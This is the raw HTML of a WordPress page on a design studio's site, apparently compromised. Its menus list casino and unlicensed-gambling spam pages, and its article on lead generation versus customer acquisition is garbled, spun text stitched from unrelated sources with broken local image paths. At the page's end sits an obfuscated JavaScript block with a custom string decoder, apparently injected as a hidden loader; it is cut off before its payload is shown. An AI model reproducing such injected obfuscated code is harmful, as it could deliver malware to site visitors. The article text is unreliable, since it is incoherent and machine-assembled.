<meta name="generator" content="WordPress 7.0.2" />
<link rel="canonical" href="https://www.ostroydesign.com/lead-generation-vs-lead-acquisition-what-is-the/" />
<link rel='shortlink' href='https://www.ostroydesign.com/?p=5647' />

</head>
<body>

	
<div id="loader">&nbsp;</div>
<div id="blocker">&nbsp;</div>
<div id="delay">&nbsp;</div>

<div id="siteWrapper">

	<div id="header" class="" style="position: fixed;">
		<div id="headerInner" class="left" style="padding: 24px; height: 50px; min-width:1300px !important;">
			<div class="left"  style="width: 300px; margin-bottom: 50px; margin-right: 24px;">
				<h1>
 				    <!-- a class="history" href="http://www.ostroydesign.com/" target="_parent" -->
				    <a href="https://www.ostroydesign.com/" >
				    	Ostroy Design				    </a>
				</h1>
			</div>

													<div class="left modul1" style="width: 158px; margin-right: 12px;">

				<div class="dropdown-layers-holder left" style="width: 164px;"><!-- style="width: 140px;" -->
				    <div class="dropdown-layers box-shadow" style="width: 246px;">
				    	<div class="dropdown-layers-inner">
				    	    Categories
				    	</div>
				    	<div class="dropdown-layers-drop">
												  	<a href="https://www.ostroydesign.com/category/bez-rubriki/">! Без рубрики</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/1/">1</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/10/">10</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/15/">15</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/16/">16</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/1xbetph-ph11/">1xbetph.ph11</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/3/">3</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/athomeworldexpo-comen-1500/">athomeworldexpo.comen 1500</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/casino/">casino</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/casino-ch/">casino ch</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/casino-gr/">Casino-GR</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/construction-news/">Construction News</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/development-news/">Development News</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/editorial/">Editorial Design</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/forex-news/">Forex News</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/identity/">Identity Design</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/logistics-news/">Logistics News</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/lunarpsikoterapi-com-a/">lunarpsikoterapi.com a</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/marketing-news/">Marketing News</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/news/">news</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/novos-casinos-2026/">novos-casinos-2026</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/print/">Print</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/product-design/">Product Design</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/public/">public</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/rainbet-edu-gr/rainbet/">Rainbet</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/rainbet-edu-gr/">rainbet.edu.gr</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/retail-news/">Retail News</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/sat-ch/">sat-ch</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/sportswearfashion/">Sportswear/Fashion</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/texnoff-com/">texnoff.com</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/visualization/">Visualization</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/web-design/">Web Design</a><br/>
						 						  	<a href="https://www.ostroydesign.com/category/wersja-demo/">Wersja Demo</a><br/>
						 				    	</div>
				    </div>
				&nbsp;
				</div>

			</div>
			





						<div class="left modul1" style="width: 112px; margin-right: 12px;">

				<div class="dropdown-layers-holder left" style="width: 112px;">
				    <div class="dropdown-layers box-shadow" style="width: 282px;">
				    	<div class="dropdown-layers-inner">
				    	    Clients
				    	</div>
				    	<div class="dropdown-layers-drop">
												  	<a href="https://www.ostroydesign.com/tag/gra/">Gra</a><br/>
						 						  	<a href="https://www.ostroydesign.com/tag/rainbet/">Rainbet</a><br/>
						 				    	</div>
				    </div>
				&nbsp;
				</div>

			</div>
			

						<div class="left modul1" style="width: 92px; margin-right: 12px;">

				<div class="dropdown-layers-holder left" style="width: 140px;">
				    <div class="dropdown-layers box-shadow" style="width: 140px;">
				    	<div class="dropdown-layers-inner">
				    	    Pages
				    	</div>
				    	<div class="dropdown-layers-drop">
				    					    					    	    <a href="https://www.ostroydesign.com/glory-casino-login/">Glory Casino Login</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/lemon-casino-szczegolowa-recenzja-lemon-kasyno-4/">Lemon Casino &#8211; szczegółowa recenzja Lemon Kasyno</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/lemon-casino-szczegolowa-recenzja-lemon-kasyno-3/">Lemon Casino &#8211; szczegółowa recenzja Lemon Kasyno</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/lemon-casino-szczegolowa-recenzja-lemon-kasyno-2/">Lemon Casino &#8211; szczegółowa recenzja Lemon Kasyno</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/lemon-casino-szczegolowa-recenzja-lemon-kasyno/">Lemon Casino &#8211; szczegółowa recenzja Lemon Kasyno</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/playamo-account-verification-guide-for-australian-players-4/">Playamo account verification guide for Australian players</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/playamo-account-verification-guide-for-australian-players-3/">Playamo account verification guide for Australian players</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/playamo-account-verification-guide-for-australian-players-2/">Playamo account verification guide for Australian players</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/playamo-account-verification-guide-for-australian-players/">Playamo account verification guide for Australian players</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/gg-bet-casino-w-polsce-jak-dziala-kasyno-online-i-dostepne-opcje-gry/">GG bet casino w Polsce &#8211; Jak działa kasyno online i dostępne opcje gry</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/glory-casino-login-4/">Glory Casino Login</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/glory-casino-login-3/">Glory Casino Login</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/glory-casino-login-2/">Glory Casino Login</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/no-kyc-crypto-casinos-best-platforms-for-anonymous-gambling-without-kyc/">No KYC crypto casinos &#8211; best platforms for anonymous gambling without KYC</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/spil-pa-casino-uden-dansk-licens-fra-danmark-4/">Spil på casino uden dansk licens fra Danmark</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/spil-pa-casino-uden-dansk-licens-fra-danmark-3/">Spil på casino uden dansk licens fra Danmark</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/spil-pa-casino-uden-dansk-licens-fra-danmark-2/">Spil på casino uden dansk licens fra Danmark</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/spil-pa-casino-uden-dansk-licens-fra-danmark/">Spil på casino uden dansk licens fra Danmark</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/top-10-casinos-en-ligne-2026-sites-fiables-legaux-2/">Top 10 Casinos en Ligne (2026) &#8211; Sites Fiables &#038; Légaux</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/top-10-casinos-en-ligne-2026-sites-fiables-legaux/">Top 10 Casinos en Ligne (2026) &#8211; Sites Fiables &#038; Légaux</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/vodka-onlayn-kazino-registraciya-i-vhod/">Vodka онлайн казино &#8211; регистрация и вход</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt-3/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt-2/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a><br/>
				    					    	    <a href="https://www.ostroydesign.com/biography/">ABOUT</a><br/>
				    					    	</div>
				    </div>
				&nbsp;
				</div>

			</div>
			
			<div class="left modul1" style="width: 274px; margin-right: 12px;">
				<div class="dropdown-layers-holder left" style="width:294px;">
				    <div class="dropdown-layers box-shadow" style="width: 294px;">
				    	<div class="dropdown-layers-inner">
							<a href="mailto:alex@ostroy.com" target="_blank">alex@ostroy.com</a>
						</div>
					</div>
				</div>
			</div>
			<div class="left modul1" style="width: 200px; margin-right: 12px;">
				<div class="dropdown-layers-holder left" style="width:112px;">
				    <div class="dropdown-layers box-shadow" style="width: 220px;">
				    	<div class="dropdown-layers-inner">
				212 995 2692
				</div></div></div>
			</div>


			<div id="vertNavs" class="right">
											<div class="right modul1 goUp bigButton box-shadow cursor" style="">
					<strong>&#9650;</strong>
				</div>
							

			</div>
			
		</div>
	</div>	
			
			
<script type="text/javascript">
// Base Urls
var baseUrl = 'https://www.ostroydesign.com';
var stylesheetDir = 'https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL';
var pad = 'no';
var mobile = 'no';
// Settings Variables
var buttonColor = '#ffffff';
var buttonColorHover = '#dddddd';
var defaultProjectInfo = 'true';
var headerInnerHeight = 50;
var comments = 'false';
var infinityScroll = false;
var bindMouseWheel = true;
var whenFinishedBodyScroll = 'adjust';
var whenFinishedBodyScrollSpeed = 400;
var afterLastSlide = 'first';
var transitionEase = 'easeInOutQuart';
var verticalTransitionSpeed = 800;
var horizontalTransitionSpeed = 250;
var attachmentSize = 'large';
var maxHeight = 700;
var thumbnailWidth = 480;
var menuPadding = 24;
var imagePadding = 24;
var menuModulWidth = 150;
var showTwitterButton = true;
var paddingFix = 98;
</script>


	<div id="full" class="" style="">
		<div id="fullInner" style="margin-top: 98px;" class="" name="single">
		

			    	
			
			<div class="project left">
				
	    		<div class="projectSlideHolder left" name="0" style="padding-left: 24px;">
	    		   <div class="projectSlideHolderInner left">
	    				
	    		   				
				<div class="projectSlide realimage image media cursor left" style="margin-right:24px;">
					<img width="1000" height="700" src="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/images/empty-holder.jpg">
				</div>
		
			    		   		
	    		   </div>
	    		</div>
	    		
	    		<div class="projectBottom left" style="margin-top: 700px; right: 24px;">
	    			<div class="projectBottomInner hundred left">
	    				<div class="slideLeft left box-shadow">
	    				    &nbsp;
	    				</div>	
	    				<div class="slideRight left box-shadow">
	    				    &nbsp;
	    				</div>	
	    			</div>
	    		</div>
	    			    			
	    		<div class="counter left bigButton box-shadow" style="margin-top: 700px;">
	    			1/2
	    		</div>
	    		
	    		<div class="toggler left bigButton box-shadow" style="margin-top: 700px;">
	    			Info &#9654;
	    		</div>
	    			    		
	    			    		
	    		
	    		<div class="projectSeparator">
	    			&nbsp;
	    		</div>
	    		
					    	<div class="commentsBoxy left modul2 off" style="padding-left: 24px; width: 300px;">
	    			    		
	    	</div>
					    	<div class="projectInfo modul2 on" style="padding-left: 24px; width: 324px;">
	    	    <div class="projectInfoInner" style="padding-right: 24px;">
	    	    	
	    	    		    	    	<h2>Lead generation vs  lead acquisition: What is the difference?</h2><br/>
	    	    		    	    	
	    	    	<div class="post_content">
	    	    		<h1>Lead Generation vs  Customer Acquisition: Their Key Differences</h1>
<div class="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p style="font-weight: 700;text-align: center;">Content</p>
<ul>
<li><a href="#user-research-plan-template-how-to-set-up-your-study">User research plan template: How to set up your study</a></li>
<li><a href="#how-can-automation-tools-help-in-lead-generation-and-customer-acquisition">How can automation tools help in lead generation and customer acquisition?</a></li>
<li><a href="#strategic-alignment">Strategic Alignment</a></li>
<li><a href="#customer-acquisition-the-conversion-of-leads-into-paying-customers">Customer Acquisition: The Conversion of Leads into Paying Customers</a></li>
<li><a href="#ignacio-gonzalez-nu-ez-on-eutelsat-s-new-offering-and-market-leadership">Ignacio Gonzalez-Nuñez on Eutelsat’s new offering and market leadership</a></li>
</ul>
</div>
<p><img decoding="async" class="wp-post-image" style="display: block;margin-left:auto;margin-right:auto;" width="603px" alt="Customer acquisition vs lead generation" src="C:\Users\Artem\AppData\Roaming\scm-next-plus\content_cache\6a2f91f2dc7caa4ae40ee304\cache\Customer acquisition vs lead generation\images\Customer_acquisition_vs_lead_generation_(1).jpeg"></p>
<p>It was created by our co-founder Russel Brunson who then used it to take ClickFunnels from zero to $10M+ in annual revenue in just one year (it&#x2019;s at $100M+ now!). And neither are people whose contact details you have somehow obtained but who have never expressed any interest in whatever it is that you are selling. Confused about the difference between lead generation and customer acquisition?</p>
<p>Lead generation captures contact info from interested people. Customer acquisition converts them into paying customers who stick around. You need both, or you&#x2019;re done. When your Free Form Builder connects to CRM connects to email, you optimize everything. CRMs like Salesforce and HubSpot track interactions and ensure follow-up. High-risk got consultation offers.</p>
<p>They created authentic word-of-mouth and team adoption that starts with enthusiastic individuals. I also love when a product offers me genuine value upfront without pushing a product or sale immediately. HubSpot offers many free tools, my favorite being their AEO Grader, which introduces users to their ecosystem. Schedule registration confirmations, follow-ups, and reminders Creating a multi-stage campaign with several paths is as simple as two-steps campaigns. For affiliates, you can set flat or percentage commissions and use tiered milestones to increase payouts as partners perform.</p>
<p><img decoding="async" class="aligncenter" style="display: block;margin-left:auto;margin-right:auto;" width="607px" alt="Customer acquisition vs lead generation" src="C:\Users\Artem\AppData\Roaming\scm-next-plus\content_cache\6a2f91f2dc7caa4ae40ee304\cache\Customer acquisition vs lead generation\images\Customer_acquisition_vs_lead_generation_(1).jpeg"></p>
<h2 id="user-research-plan-template-how-to-set-up-your-study">User research plan template: How to set up your study</h2>
<p>This stage emphasizes lead nurturing through inbound strategies like personalized email marketing and targeted content that caters to the specific needs and behaviors of leads. This involves deeper engagement strategies like lead nurturing, personalized communications, and targeted offers designed to persuade the leads to make a purchase. In contrast, customer acquisition takes the process a step further by converting these leads into actual paying customers. The main goal is to build a large pool of potential customers, or leads, who have shown some level of interest in the company&apos;s products or services. On the other hand, customer acquisition takes these leads and converts them into paying customers, solidifying their relationship with the business. Lead generation and customer acquisition, because they are so closely related, are sometimes referred to as the same thing, but they are very different.</p>
<p>Rather than interrupting potential customers with unwanted messages, inbound marketing earns their attention by solving problems they&#x2019;re already trying to address. Inbound marketing is a strategy that focuses on attracting customers through relevant and helpful content that adds value at every stage of the buyer&#x2019;s journey. In this post, we&#x2019;ll explore the key differences between inbound and outbound marketing, provide examples of both, examine when to use each approach, and provide As marketing evolves toward continuous customer engagement models, such as Loop Marketing, understanding the distinction between earning and buying attention becomes even more critical.</p>
<h2 id="how-can-automation-tools-help-in-lead-generation-and-customer-acquisition">How can automation tools help in lead generation and customer acquisition?</h2>
<p>For instance, SaaS companies use AI to score and route leads for maximum efficiency. Their strategies start with content-driven lead generation, such as whitepapers, industry reports, and LinkedIn outreach, to target decision-makers and influencers. B2B and technology firms require a nuanced approach to both lead generation and lead acquisition. Data shows healthcare leads require 50 percent faster follow-up to achieve optimal conversion. Healthcare organizations face strict regulations and urgent timelines, making <a href="https://infuse.com/insight/what-is-demand-generation-demand-gen-vs-lead-gen/">Customer acquisition vs lead generation</a> lead acquisition especially complex. Multi-touch attribution models provide a comprehensive view of the customer journey, revealing which channels and campaigns drive the highest quality leads.</p>
<p><img decoding="async" class="aligncenter" style="display: block;margin-left:auto;margin-right:auto;" width="600px" alt="Customer acquisition vs lead generation" src="C:\Users\Artem\AppData\Roaming\scm-next-plus\content_cache\6a2f91f2dc7caa4ae40ee304\cache\Customer acquisition vs lead generation\images\Customer_acquisition_vs_lead_generation_(1).jpeg"></p>
<h2 id="strategic-alignment">Strategic Alignment</h2>
<ul>
<li>Lead generation and customer acquisition, because they are so closely related, are sometimes referred to as the same thing, but they are very different.</li>
<li>Promoting from within offers an effective way to retain top talent.</li>
<li>In the dynamic world of business, understanding the distinction between lead generation and customer acquisition is crucial for effective marketing strategies.</li>
</ul>
<p>I&#x2019;m looking for jobs-to-be-done, the triggers that start a search, the anxieties that stall or lose deals, and the moments when value actually lands. I typically start every quarter with lead quality, pipeline impact, and declared-intent signals as my demand generation cockpit. There are differences between explicit buying signals and general engagement. Signals that a buying group is forming at an account (e.g., multiple roles from the same company engaging within a short window). Low demo &#x2192; sales qualified opportunity (SQO) means we&#x2019;re attracting the wrong traffic, mis-setting expectations, or booking demos too early. And that&#x2019;s because marketing used to be a service organization to sales, until B2B executives realized that marketing should be a strategic partner.</p>
<h2 id="customer-acquisition-the-conversion-of-leads-into-paying-customers">Customer Acquisition: The Conversion of Leads into Paying Customers</h2>
<p><a href="https://infuse.com/insight/what-is-demand-generation-demand-gen-vs-lead-gen/"></p>
<figure><img decoding="async" src="C:\Users\Artem\AppData\Roaming\scm-next-plus\content_cache\6a2f91f2dc7caa4ae40ee304\cache\Customer acquisition vs lead generation\images\Customer_acquisition_vs_lead_generation_(1).jpeg" alt="Customer acquisition vs lead generation" class="aligncenter" style="display:block;margin-left:auto;margin-right:auto;" width="405px"></figure>
<p></a></p>
<p>It also enables data enrichment to provide deeper context on each lead, improving qualification and routing. For those acquiring leads, TrustedForm lets you reject non-compliant leads and mitigates TCPA risk when buying leads from third-party sources. With TrustedForm, lead generators can protect their brand, reduce legal risk, and provide a competitive edge when working with lead buyers or downstream partners. In short, lead generation is about getting people to raise their hands, while lead acquisition is about making sure those hands are worth shaking.</p>
<p>If not, it&#x2019;s time to recalibrate.Book a short strategy session with Xedea. When lead generation and customer acquisition are aligned, you stop relying on luck and build a predictable system for business growth. Create shared KPIs for both departments.Use a customer relationship management system that ensures transparency across every stage of the customer journey and improves lead conversion rates overall. It&#x2019;s to know which lever to pull at the right stage of your business growth. By aligning lead scoring, CRM integration, and automation systems, your teams stop pointing fingers and start driving results together through smarter Customer acquisition work. Without the magnet, you&#x2019;re shouting into the void.Without the handshake, you&#x2019;re leaving money on the table.</p>
<p>Activated Scale can help differentiate these stages, providing access to expert sales professionals tailored to your specific needs. When people convert at this stage in the process, they are called leads. Some call it the &quot;buyer&#x2019;s journey.&quot; To others, it&apos;s the &quot;pipeline&quot; or &quot;funnel.&quot; The process may include just a few stages or many, and marketing and sales departments may own different parts. Ultimately, bridging the gap between lead generation and customer acquisition is about building a cohesive, responsive strategy that delivers results.</p>
<p>These metrics provide insights into the performance and efficiency of each approach, helping businesses make informed decisions and optimize their marketing efforts. If you&#x2019;re ready to step up both your lead generation and customer acquisition game, check out the Lean Labs Lead Gen Resource Pack. Lead generation and customer acquisition are distinct but interconnected stages of the marketing and sales process. Advanced analytics and attribution tools are transforming how organizations measure and optimize lead acquisition. Measuring the effectiveness of lead generation and lead acquisition requires different sets of metrics and technology. Defining clear KPIs for each stage helps teams measure progress and optimize their approach.</p>
<p>Learn how to use business process mapping to visualize workflows, improve efficiency and support better decision-making across your organization. Find out what business intelligence is, and discover how you can use it to improve your company&apos;s data management and decision-making processes. Joe Scotto, an HR specialist, reviews the importance of exit interview questions, provides 15 questions to ask and offers tips to understand interviews. This stage involves more direct and targeted efforts, such as personalized outreach, product demonstrations, and special offers. Once they have built up a solid base of leads, businesses can then focus on implementing customer acquisition tactics, such as sales calls and personalized email campaigns, to convert those leads into paying customers.</p>
<h2 id="ignacio-gonzalez-nu-ez-on-eutelsat-s-new-offering-and-market-leadership">Ignacio Gonzalez-Nu&#xF1;ez on Eutelsat&#x2019;s new offering and market leadership</h2>
<p>With personalized outreach built for today&#x2019;s digital barriers, companies can address both external trends and internal sales challenges. For example, personalized outreach that follows a targeted lead nurturing campaign often yields better engagement and conversion. A direct line of communication allows both teams to refine strategies, share insights, and continuously optimize protocols. This continuous interaction not only builds trust but also ensures that when a buyer is ready to commit, your team already has the necessary relationship groundwork laid out. Early interactions lay the groundwork, and each stage in the process should build on the previous one. The journey from interested prospect to paying customer follows key steps.</p>
<p>Activated Scale connects startups and small businesses with vetted fractional sales talent. By combining inbound and outbound tactics, businesses can optimize lead-generation efforts and build a pipeline of prospects. By continuously monitoring and analyzing data, companies can identify trends, optimize their strategies, and make informed decisions that drive successful lead acquisition. Analytics tools provide valuable metrics, such as conversion rates, engagement levels, and lead quality, that help businesses measure the effectiveness of their lead acquisition efforts. By understanding the unique needs of each prospect, sales teams can tailor their approach and provide solutions that resonate. Targeted content, such as case studies, product demos, and success stories, can help prospects gain a deeper understanding of the company&apos;s offerings and build trust.</p>
	    	    		<br/>
	    	    	</div>

						
						    			<div class="projectCats left hundred metabar">
	    				<a href="https://www.ostroydesign.com/category/marketing-news/" rel="category tag">Marketing News</a>	    			</div>
	    				    			
	    				    				    				    			
	    				    			
	    			  
	    				<div class="projectTweet left hundred metabar">  
	    					<div class="left" style="margin-right: 4px;">			
	    						<a href="http://twitter.com/share" target="_new">Tweet This</a>
	    					</div>
	    				</div>
	    				    			
	    				    				    				    				
	    	    </div>
	    	</div>	    	
	    	</div>
	    
	    	
	    	    
	    </div>
	</div>

	<div id="belowInfinity">
					</div>
	

		    <div id="footer" class="left">
    	    	<div id="footerInner" class="left hundred" style="padding-left: 24px; padding-bottom: 24px;">
    		<!-- div class="left modul1 small" -->
				<!-- ?php echo ThemeOptions::get('footerlefttext_text_field'); ? >
			</div -->
    		<div class="right align-right modul1 small">
				© Ostroy Design			</div>
		</div>
		    </div>	    
	<div id="title" style="display: none;">
Lead generation vs  lead acquisition: What is the difference? &mdash; Ostroy Design</div>
</div> <!-- #siteWrapper Close -->

<!-- Plugins -->
<script type="text/javascript" src="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/js/plugins.js"></script>
<script type="text/javascript" src="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/js/jquery-plugins/modernizer-css-transform3d.js"></script>
<!-- Video -->
<script type="text/javascript" src="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/video-player/jquery-ui-1.8.2.custom.min.js"></script>
<script type="text/javascript" src="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/video-player/jquery.ghindaVideoPlayer.js"></script>
<!-- Layers UI -->
<script type="text/javascript" src="https://www.ostroydesign.com/wp-content/themes/LayersOnePointZero-SUL/lib/js/layers.js"></script>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/LayersOnePointZero-SUL/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://www.ostroydesign.com/wp-includes/js/wp-emoji-release.min.js?ver=7.0.2"}}
</script>
<script type="module">
/*! This file is auto-generated */
const a=JSON.parse(document.getElementById("wp-emoji-settings").textContent),o=(window._wpemojiSettings=a,"wpEmojiSettingsSupports"),s=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const a=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===a[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,a){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!a(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,a){let r;const o=(r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),s=(o.textBaseline="top",o.font="600 32px Arial",{});return e.forEach(e=>{s[e]=t(o,e,n,a)}),s}function r(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}a.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),c.toString(),p.toString()].join(",")+"));",a=new Blob([e],{type:"text/javascript"});const r=new Worker(URL.createObjectURL(a),{name:"wpTestEmojiSupports"});return void(r.onmessage=e=>{i(n=e.data),r.terminate(),t(n)})}catch(e){}i(n=f(s,u,c,p))}t(n)}).then(e=>{for(const n in e)a.supports[n]=e[n],a.supports.everything=a.supports.everything&&a.supports[n],"flag"!==n&&(a.supports.everythingExceptFlag=a.supports.everythingExceptFlag&&a.supports[n]);var t;a.supports.everythingExceptFlag=a.supports.everythingExceptFlag&&!a.supports.flag,a.supports.everything||((t=a.source||{}).concatemoji?r(t.concatemoji):t.wpemoji&&t.twemoji&&(r(t.twemoji),r(t.wpemoji)))});
//# sourceURL=https://www.ostroydesign.com/wp-includes/js/wp-emoji-loader.min.js
</script>

<script>
"use strict";var gUxZgow,LgQ0Uh,luuw3e2,ZEf_nqJ,qRG4Sw,HBwcHN,kAV9Kh,ggcrYxa,uyKfaIV;const ME6FtD=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x54,"js",void 0x0,!0x1,!0x0,0x73,0x3,0x7f,0x80];function dFxk0u(gUxZgow){var LgQ0Uh="E35XYWd}T2&>.zLc*;j?Beh:lkvF/D9(rZAwHu#{0+6@O%1b!\"V[mxp~^RJSNy]=nPtCq8`)7U,<Ga4$iQ|_IsKofMg",luuw3e2,ZEf_nqJ,qRG4Sw,HBwcHN,kAV9Kh,ggcrYxa,uyKfaIV;d8aMyMJ(luuw3e2=""+(gUxZgow||""),ZEf_nqJ=luuw3e2.length,qRG4Sw=[],HBwcHN=ME6FtD[0x0],kAV9Kh=ME6FtD[0x0],ggcrYxa=-ME6FtD[0x1]);for(uyKfaIV=ME6FtD[0x0];uyKfaIV<ZEf_nqJ;uyKfaIV++){var dFxk0u=LgQ0Uh.indexOf(luuw3e2[uyKfaIV]);if(dFxk0u===-ME6FtD[0x1])continue;if(ggcrYxa<ME6FtD[0x0]){ggcrYxa=dFxk0u}else{d8aMyMJ(ggcrYxa+=dFxk0u*ME6FtD[0xc],HBwcHN|=ggcrYxa<<kAV9Kh,kAV9Kh+=(ggcrYxa&ME6FtD[0xd])>ME6FtD[0xe]?ME6FtD[0xf]:ME6FtD[0x10]);do{d8aMyMJ(qRG4Sw.push(HBwcHN&ME6FtD[0x3]),HBwcHN>>=ME6FtD[0x2],kAV9Kh-=ME6FtD[0x2])}while(kAV9Kh>ME6FtD[0x9]);ggcrYxa=-ME6FtD[0x1]}}if(ggcrYxa>-ME6FtD[0x1]){qRG4Sw.push((HBwcHN|ggcrYxa<<kAV9Kh)&ME6FtD[0x3])}return PrveKV(qRG4Sw)}function p2Vyi34(luuw3e2){if(typeof gUxZgow[luuw3e2]===ME6FtD[0x5]){return gUxZgow[luuw3e2]=dFxk0u(LgQ0Uh[luuw3e2])}return 